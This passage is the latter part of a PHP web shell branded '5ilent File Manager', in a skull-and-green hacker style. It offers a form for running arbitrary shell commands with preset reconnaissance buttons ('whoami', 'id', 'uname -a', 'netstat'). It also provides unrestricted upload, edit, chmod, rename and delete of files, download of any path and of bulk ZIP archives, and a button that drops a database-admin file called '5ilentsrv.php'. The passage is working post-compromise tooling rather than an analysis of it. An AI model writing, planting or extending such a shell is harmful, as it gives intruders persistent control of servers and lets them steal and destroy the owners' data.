        if (mkdir($fullpath, 0755)) {
            $message = "Folder created!";
            $messageType = 'success';
        } else {
            $message = "Failed to create folder";
            $messageType = 'error';
        }
    } else {
        $message = "Folder already exists";
        $messageType = 'error';
    }
}

if (isset($_POST['rename']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
    $oldPath = $currentDir . '/' . $_POST['old_name'];
    $newPath = $currentDir . '/' . $_POST['new_name'];
    if (rename($oldPath, $newPath)) {
        $message = "Renamed successfully!";
        $messageType = 'success';
    } else {
        $message = "Failed to rename";
        $messageType = 'error';
    }
}

if (isset($_POST['chmod']) && isset($_POST['chmod_file']) && isset($_POST['permissions'])) {
    $fullpath = $currentDir . '/' . $_POST['chmod_file'];
    if (chmod($fullpath, octdec($_POST['permissions']))) {
        $message = "Permissions changed!";
        $messageType = 'success';
    } else {
        $message = "Failed to change permissions";
        $messageType = 'error';
    }
}

if (isset($_POST['delete']) && isset($_POST['items'])) {
    $deleted = 0;
    foreach ($_POST['items'] as $item) {
        if (file_exists($item)) {
            if (is_file($item) && unlink($item)) $deleted++;
            elseif (is_dir($item) && rmdir($item)) $deleted++;
        }
    }
    $message = "Deleted $deleted item(s).";
    $messageType = 'success';
}

if (isset($_POST['save_file']) && isset($_POST['filename']) && isset($_POST['content'])) {
    if (file_put_contents($_POST['filename'], $_POST['content']) !== false) {
        $message = "File saved!";
        $messageType = 'success';
    } else {
        $message = "Failed to save file";
        $messageType = 'error';
    }
}

if (isset($_FILES['upload'])) {
    $uploaded = 0;
    $files = $_FILES['upload'];
    
    if (is_array($files['name'])) {
        for ($i = 0; $i < count($files['name']); $i++) {
            if ($files['error'][$i] === 0) {
                $dest = $currentDir . '/' . basename($files['name'][$i]);
                if (move_uploaded_file($files['tmp_name'][$i], $dest)) {
                    $uploaded++;
                }
            }
        }
    } else {
        if ($files['error'] === 0) {
            $dest = $currentDir . '/' . basename($files['name']);
            if (move_uploaded_file($files['tmp_name'], $dest)) {
                $uploaded++;
            }
        }
    }
    
    if ($uploaded > 0) {
        $message = "Uploaded $uploaded file(s).";
        $messageType = 'success';
    }
}

if (isset($_GET['create_5ilentsrv'])) {
    if (create_adminer_file()) {
        $message = "5ilentsrv.php created successfully!";
        $messageType = 'success';
    } else {
        $message = "Failed to create 5ilentsrv.php";
        $messageType = 'error';
    }
}

if (isset($_GET['download']) && !empty($_GET['download'])) {
    $file = $_GET['download'];
    if (file_exists($file) && is_file($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

if (isset($_POST['download_multiple']) && isset($_POST['items'])) {
    $zipFile = tempnam(sys_get_temp_dir(), 'zip') . '.zip';
    $zip = new ZipArchive();
    if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) {
        foreach ($_POST['items'] as $item) {
            if (file_exists($item)) {
                $zip->addFile($item, basename($item));
            }
        }
        $zip->close();
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="download_' . date('Y-m-d') . '.zip"');
        header('Content-Length: ' . filesize($zipFile));
        readfile($zipFile);
        unlink($zipFile);
        exit;
    }
}

if (isset($_GET['scan_backdoor']) && isset($_GET['scan_path'])) {
    $backdoorResults = scanDirectoryForBackdoor($_GET['scan_path'], true);
    $message = "Found " . count($backdoorResults) . " suspicious files.";
    $messageType = count($backdoorResults) > 0 ? 'warning' : 'success';
    $showScanResults = true;
}

$adminerExists = file_exists(ADMINER_FILENAME);
$files = get_file_list($currentDir);
$showScanResults = isset($backdoorResults);
?>
<!DOCTYPE html>
<html>
<head>
    <title>5ilent File Manager</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', sans-serif;
            background: #0a0e1a;
            padding: 20px;
            color: #e0e0e0;
        }
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: #1a1f2f;
            border-radius: 20px;
            border: 2px solid #00ff00;
            padding: 30px;
        }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 30px;
            padding-bottom: 20px;
            border-bottom: 2px solid #00ff00;
        }
        .header h1 {
            color: #00ff00;
            font-size: 28px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .header h1 span {
            animation: pulse 2s infinite;
        }
        @keyframes pulse {
            0%, 100% { text-shadow: 0 0 10px #00ff00; }
            50% { text-shadow: 0 0 20px #00ff00; }
        }
        .logout-btn {
            background: transparent;
            border: 2px solid #00ff00;
            color: #00ff00;
            padding: 10px 20px;
            border-radius: 5px;
            text-decoration: none;
            transition: all 0.3s;
        }
        .logout-btn:hover {
            background: #00ff00;
            color: #000;
            box-shadow: 0 0 20px #00ff00;
        }
        .tool-section {
            background: #0f1322;
            border: 1px solid #00ff00;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: 0 0 10px rgba(0,255,0,0.1);
        }
        .tool-section h3 {
            color: #00ff00;
            margin-bottom: 15px;
            border-bottom: 1px solid #2a3142;
            padding-bottom: 10px;
            font-size: 16px;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        input, select, textarea {
            width: 100%;
            padding: 10px;
            background: #1a1f2f;
            border: 1px solid #2a3142;
            border-radius: 5px;
            margin-bottom: 10px;
            color: #00ff00;
            font-family: 'Courier New', monospace;
        }
        input:focus, textarea:focus {
            outline: none;
            border-color: #00ff00;
            box-shadow: 0 0 10px #00ff00;
        }
        .btn {
            padding: 10px 15px;
            background: transparent;
            border: 1px solid #00ff00;
            color: #00ff00;
            border-radius: 5px;
            cursor: pointer;
            margin-right: 5px;
            transition: all 0.3s;
        }
        .btn:hover {
            background: #00ff00;
            color: #000;
            box-shadow: 0 0 15px #00ff00;
        }
        .btn-primary {
            background: #00ff00;
            color: #000;
            border: 1px solid #00ff00;
        }
        .btn-primary:hover {
            background: transparent;
            color: #00ff00;
        }
        .btn-group {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
            margin-bottom: 15px;
        }
        .command-output {
            background: #0a0e1a;
            color: #00ff00;
            padding: 15px;
            border-radius: 5px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            margin-top: 10px;
            max-height: 400px;
            overflow-y: auto;
            border: 1px solid #00ff00;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
        }
        .file-table th {
            background: #0f1322;
            color: #00ff00;
            padding: 15px;
            text-align: left;
            border-bottom: 2px solid #00ff00;
        }
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #2a3142;
        }
        .file-table tr:hover {
            background: #1a1f2f;
        }
        .action-btn {
            padding: 3px 8px;
            border: 1px solid #00ff00;
            color: #00ff00;
            text-decoration: none;
            border-radius: 3px;
            font-size: 12px;
            margin: 0 2px;
            transition: all 0.3s;
        }
        .action-btn:hover {
            background: #00ff00;
            color: #000;
        }
        .action-btn.delete { border-color: #ff4757; color: #ff4757; }
        .action-btn.delete:hover { background: #ff4757; color: #fff; }
        .action-btn.adminer { 
            border-color: #ff00ff; 
            color: #ff00ff; 
            animation: pulse-purple 2s infinite;
        }
        @keyframes pulse-purple {
            0%, 100% { box-shadow: 0 0 5px #ff00ff; }
            50% { box-shadow: 0 0 15px #ff00ff; }
        }
        .current-dir {
            background: #0f1322;
            border: 1px solid #2a3142;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 15px;
            font-family: monospace;
            color: #00ff00;
        }
        .message {
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border: 1px solid;
            animation: fadeIn 0.5s;
        }
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        .message.success { border-color: #00ff00; color: #00ff00; background: rgba(0,255,0,0.1); }
        .message.error { border-color: #ff4757; color: #ff4757; background: rgba(255,71,87,0.1); }
        .message.warning { border-color: #ffaa00; color: #ffaa00; background: rgba(255,170,0,0.1); }
        .message.info { border-color: #00ffff; color: #00ffff; background: rgba(0,255,255,0.1); }
        .tools-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 20px;
            margin-bottom: 20px;
        }
        .quick-cmds {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 5px;
            margin-top: 10px;
        }
        .quick-cmd-btn {
            padding: 8px;
            background: #1a1f2f;
            border: 1px solid #2a3142;
            color: #00ff00;
            border-radius: 3px;
            cursor: pointer;
            font-size: 12px;
            transition: all 0.3s;
        }
        .quick-cmd-btn:hover {
            background: #00ff00;
            color: #000;
            border-color: #00ff00;
        }
        .adminer-btn-container {
            display: flex;
            justify-content: center;
            margin: 20px 0;
        }
        .big-btn {
            padding: 15px 30px;
            font-size: 18px;
            font-weight: bold;
        }
        .scan-results {
            margin-top: 20px;
        }
        .badge {
            display: inline-block;
            padding: 3px 8px;
            border-radius: 3px;
            font-size: 11px;
            font-weight: bold;
            margin-right: 5px;
        }
        .badge.critical { background: #ff4757; color: #fff; }
        .badge.high { background: #ffaa00; color: #000; }
        .file-icon {
            font-size: 16px;
            margin-right: 5px;
        }
        .folder-link {
            color: #00ff00;
            text-decoration: none;
            font-weight: bold;
        }
        .folder-link:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1><span>💀</span> 5ilent File Manager</h1>
            <a href="?logout=1" class="logout-btn">EXIT</a>
        </div>
        
        <?php if (!empty($message)): ?>
            <div class="message <?php echo $messageType; ?>">
                <?php echo htmlspecialchars($message); ?>
            </div>
        <?php endif; ?>
        
        <!-- Current Directory -->
        <div class="current-dir">
            📍 CURRENT: <strong><?php echo htmlspecialchars($currentDir); ?></strong>
        </div>
        
        <!-- Breadcrumb -->
        <?php render_breadcrumb_ultimate($currentDir); ?>
        
        <!-- Quick Path -->
        <div style="margin-bottom: 20px;">
            <form method="get" style="display: flex; gap: 10px;">
                <input type="text" name="dir" value="<?php echo htmlspecialchars($currentDir); ?>" style="flex: 1;">
                <button type="submit" class="btn">GO</button>
            </form>
        </div>
        
        <!-- 5ilentSRV Button -->
        <div class="adminer-btn-container">
            <?php if ($adminerExists): ?>
                <a href="<?php echo ADMINER_FILENAME; ?>" target="_blank" class="btn action-btn adminer big-btn">💜 OPEN 5ILENTSRV</a>
            <?php else: ?>
                <a href="?create_5ilentsrv=1" class="btn action-btn adminer big-btn">💀 CREATE 5ILENTSRV</a>
            <?php endif; ?>
        </div>
        
        <!-- COMMAND EXECUTION SECTION - DIPERBAIKI DENGAN TOMBOL -->
        <div class="tool-section">
            <h3>⚡ COMMAND EXECUTION</h3>
            <form method="post">
                <div style="display: flex; gap: 10px;">
                    <input type="text" name="command" placeholder="Enter command (e.g., ls -la, whoami, pwd)" value="<?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?>" style="flex: 1;">
                    <button type="submit" name="execute_cmd" class="btn btn-primary">EXECUTE</button>
                </div>
            </form>
            
            <!-- QUICK COMMAND BUTTONS -->
            <div class="quick-cmds">
                <button onclick="setCommand('ls -la')" class="quick-cmd-btn">ls -la</button>
                <button onclick="setCommand('pwd')" class="quick-cmd-btn">pwd</button>
                <button onclick="setCommand('whoami')" class="quick-cmd-btn">whoami</button>
                <button onclick="setCommand('id')" class="quick-cmd-btn">id</button>
                <button onclick="setCommand('uname -a')" class="quick-cmd-btn">uname -a</button>
                <button onclick="setCommand('df -h')" class="quick-cmd-btn">df -h</button>
                <button onclick="setCommand('free -m')" class="quick-cmd-btn">free -m</button>
                <button onclick="setCommand('ps aux | head -20')" class="quick-cmd-btn">ps aux</button>
                <button onclick="setCommand('netstat -tulpn')" class="quick-cmd-btn">netstat</button>
                <button onclick="setCommand('php -v')" class="quick-cmd-btn">php -v</button>
                <button onclick="setCommand('mysql --version')" class="quick-cmd-btn">mysql</button>
                <button onclick="setCommand('curl -I localhost')" class="quick-cmd-btn">curl</button>
            </div>
            
            <?php if (!empty($commandOutput)): ?>
                <div class="command-output">
                    <pre><?php echo htmlspecialchars($commandOutput); ?></pre>
                </div>
            <?php endif; ?>
        </div>
        
        <!-- Tools Grid -->
        <div class="tools-grid">
            <!-- Create File/Folder -->
            <div class="tool-section">
                <h3>📄 CREATE NEW</h3>
                <form method="post">
                    <input type="text" name="filename" placeholder="filename.php">
                    <button type="submit" name="create_file" class="btn">CREATE FILE</button>
                </form>
                <form method="post">
                    <input type="text" name="foldername" placeholder="folder name">
                    <button type="submit" name="create_folder" class="btn">CREATE FOLDER</button>
                </form>
            </div>
            
            <!-- Rename & Chmod -->
            <div class="tool-section">
                <h3>✏️ RENAME / CHMOD</h3>
                <form method="post">
                    <input type="text" name="old_name" placeholder="Current name" required>
                    <input type="text" name="new_name" placeholder="New name" required>
                    <button type="submit" name="rename" class="btn">RENAME</button>
                </form>
                <form method="post">
                    <input type="text" name="chmod_file" placeholder="Filename to chmod" required>
                    <input type="text" name="permissions" placeholder="755" required>
                    <button type="submit" name="chmod" class="btn">CHMOD</button>
                </form>
            </div>
            
            <!-- Scanner & Upload -->
            <div class="tool-section">
                <h3>🔍 SCANNER</h3>
                <form method="get">
                    <input type="hidden" name="scan_backdoor" value="1">
                    <input type="text" name="scan_path" value="<?php echo htmlspecialchars($currentDir); ?>">
                    <button type="submit" class="btn">🔍 SCAN NOW</button>
                </form>
                
                <h3 style="margin-top: 15px;">📤 UPLOAD</h3>
                <form method="post" enctype="multipart/form-data">
                    <input type="file" name="upload[]" multiple>
                    <button type="submit" name="upload_files" class="btn">UPLOAD</button>
                </form>
            </div>
        </div>
        
        <!-- Scan Results -->
        <?php if ($showScanResults): ?>
        <div class="tool-section scan-results">
            <h3>🔍 SCAN RESULTS (<?php echo count($backdoorResults); ?> suspicious files)</h3>
            <?php if (empty($backdoorResults)): ?>
                <p style="color: #00ff00;">No suspicious files found. ✅</p>
            <?php else: ?>
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>File</th>
                            <th>Findings</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($backdoorResults as $result): ?>
                        <tr>
                            <td>
                                <span class="file-icon">🐘</span>
                                <?php echo htmlspecialchars(basename($result['path'])); ?><br>
                                <small style="color: #888;"><?php echo $result['size']; ?></small>
                            </td>
                            <td>
                                <?php foreach ($result['findings'] as $finding): ?>
                                    <span class="badge <?php echo strtolower($finding['severity']); ?>"><?php echo $finding['severity']; ?></span>
                                    <?php echo $finding['name']; ?> (line <?php echo $finding['line']; ?>)<br>
                                <?php endforeach; ?>
                            </td>
                            <td>
                                <a href="?dir=<?php echo urlencode(dirname($result['path'])); ?>&edit=<?php echo urlencode(basename($result['path'])); ?>" class="action-btn">EDIT</a>
                                <a href="?download=<?php echo urlencode($result['path']); ?>" class="action-btn">DL</a>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
            <?php endif; ?>
        </div>
        <?php endif; ?>
        
        <!-- File List -->
        <form method="post" id="fileListForm">
            <table class="file-table">
                <thead>
                    <tr>
                        <th style="width: 30px"><input type="checkbox" id="selectAll" onclick="toggleAll(this)"></th>
                        <th>NAME</th>
                        <th>SIZE</th>
                        <th>PERMS</th>
                        <th>MODIFIED</th>
                        <th>ACTIONS</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($files as $file): ?>
                    <tr>
                        <td><input type="checkbox" name="items[]" value="<?php echo htmlspecialchars($file['path']); ?>"></td>
                        <td>
                            <span class="file-icon">
                                <?php if ($file['isDir']): ?>📁
                                <?php elseif ($file['ext'] === 'php'): ?>🐘
                                <?php elseif ($file['isAdminer']): ?>💜
                                <?php else: ?>📄
                                <?php endif; ?>
                            </span>
                            
                            <?php if ($file['isDir']): ?>
                                <a href="?dir=<?php echo urlencode($file['path']); ?>" class="folder-link">
                                    <?php echo htmlspecialchars($file['name']); ?>/
                                </a>
                            <?php else: ?>
                                <?php echo htmlspecialchars($file['name']); ?>
                                <?php if ($file['isAdminer']): ?>
                                    <span style="color: #ff00ff; font-size: 11px;"> [5ilentSRV]</span>
                                <?php endif; ?>
                            <?php endif; ?>
                        </td>
                        <td><?php echo $file['size']; ?></td>
                        <td><?php echo $file['perms']; ?></td>
                        <td><?php echo $file['modified']; ?></td>
                        <td>
                            <?php if (!$file['isDir']): ?>
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file['name']); ?>" class="action-btn">EDIT</a>
                                <a href="?download=<?php echo urlencode($file['path']); ?>" class="action-btn">DL</a>
                            <?php endif; ?>
                            
                            <?php if ($file['isAdminer']): ?>
                                <a href="<?php echo ADMINER_FILENAME; ?>" target="_blank" class="action-btn adminer">OPEN</a>
                            <?php endif; ?>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
            
            <div style="margin-top: 15px; display: flex; gap: 10px;">
                <button type="submit" name="delete" class="btn action-btn delete" onclick="return confirm('Delete selected items?')">🗑️ DELETE SELECTED</button>
                <button type="submit" name="download_multiple" class="btn action-btn" onclick="return confirm('Download selected items as ZIP?')">📦 DOWNLOAD SELECTED (ZIP)</button>
            </div>
        </form>
        
        <!-- Edit File -->
        <?php
        if (isset($_GET['edit']) && !empty($_GET['edit'])) {
            $editFile = $currentDir . '/' . basename($_GET['edit']);
            if (file_exists($editFile) && is_file($editFile)) {
                $content = file_get_contents($editFile);
                ?>
                <div class="tool-section" style="margin-top: 30px;">
                    <h3>✏️ EDITING: <?php echo htmlspecialchars(basename($editFile)); ?></h3>
                    <form method="post">
                        <textarea name="content" style="width: 100%; min-height: 400px; font-family: 'Courier New', monospace;"><?php echo htmlspecialchars($content); ?></textarea>
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($editFile); ?>">
                        <div style="margin-top: 10px;">
                            <button type="submit" name="save_file" class="btn btn-primary">💾 SAVE</button>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>" class="btn">CANCEL</a>
                        </div>
                    </form>
                </div>
                <?php
            }
        }
        ?>
    </div>
    
    <script>
        function toggleAll(source) {
            document.querySelectorAll('input[name="items[]"]').forEach(cb => cb.checked = source.checked);
        }
        
        function setCommand(cmd) {
            document.querySelector('input[name="command"]').value = cmd;
            document.querySelector('input[name="command"]').focus();
        }
        
        // Auto-hide messages after 5 seconds
        setTimeout(function() {
            document.querySelectorAll('.message').forEach(el => {
                el.style.opacity = '0';
                setTimeout(() => el.style.display = 'none', 500);
            });
        }, 5000);
    </script>
</body>
</html>